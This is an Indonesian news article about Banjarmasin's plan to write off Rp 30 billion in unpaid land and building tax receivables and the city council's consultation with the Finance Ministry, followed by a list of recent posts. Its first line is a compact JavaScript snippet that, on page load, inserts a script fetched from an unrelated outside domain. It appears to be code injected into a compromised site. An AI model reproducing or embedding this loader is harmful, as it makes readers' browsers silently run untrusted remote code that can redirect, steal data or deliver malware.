(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemko Banjarmasin Berencana Hapus Piutang Pajak Bumi Bangunan Rp 30 Miliar


BANJARMASIN, Ketua DPRD Banjarmasin Hj Ananda mengungkapkan, pemerintah kota berencana akan menghapuskan piutang Rp 30 miliar dari tunggakan Pajak Bumi Bangunan (PBB) pedesaan/perkotaan. Walikota Banjarmasin Ibnu Sina sudah menyurati pihaknya terkait persetujuan untuk penghapusan piutang PBB tersebut.

Menurut Ananda, berdasarkan hasil Laporan Hasil Pemeriksaan (LHP) Badan Pemeriksa Keuangan (BPK) ternyata ada piutang PBB untuk daerah pedesaan dan perkotaan di Banjarmasin yang jumlahnya mencapai Rp 92 miliar. “Jadi dari Rp 92 miliar ini, ada sekitar Rp 30 miliar yang harus dihapuskan, sebab akan mempengaruhi laporan keuangan pemerintah kota,” terangnya.

Terkait masalah ini, DPRD Banjarmasin akan melakukan konsultasi ke Kementerian Keuangan RI untuk menindaklanjuti permintaan eksekutif.

“Kita ingin minta masukan kepada Kemenkeu RI seperti apa tindaklanjut persetujuan yang harus diberikan DPRD kota untuk penghapusan piutang PBB ini,” katanya seperti dilansir Antara.

Dari hasil konsultasi yang didapat pihaknya dengan Kemenkeu RI, DPRD diharapkan mencermati permasalahannya. Sehingga tidak begitu saja harus menyetujui sebelum ada pembahasan mendalam di tingkat komisi dan mencek secara rinci laporan dari pemerintah kota.

“Jadi kita jangan setuju begitu saja, tapi kami melalui komisi terkait ekonomi dan keuangan harus mengkajinya, menanyakan kembali dengan jelas kepada pemerintah kota bagaimana prosesnya hingga harus dihapuskan,” terangnya.

Ananda menyatakan, pihaknya akan secepatnya menindaklanjuti hasil konsultasi dengan Kemenkeu RI ini agar secepatnya pula diputuskan, sehingga pertanggungjawaban keuangan pemerintah kota tidak terganggu dikemudian harinya. Dia memang mendapatkan informasi, tertumpuknya tunggakan PBB yang ingin dihapuskan ini dari tahun 2000 hingga sekarang. “Hal ini dikarenakan adanya masalah bagi wajib bayar PBB tersebut, diantaranya karena yang berkewajiban itu telah meninggal dan objek pajaknya tidak ada lagi,” ujarnya.(ammar/ant)

Reporter: Ammar/ant
Editor: Chell

Desy Arfianty

Recent Posts

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

2 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

3 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

3 jam ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

4 jam ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

5 jam ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

19 jam ago

This website uses cookies.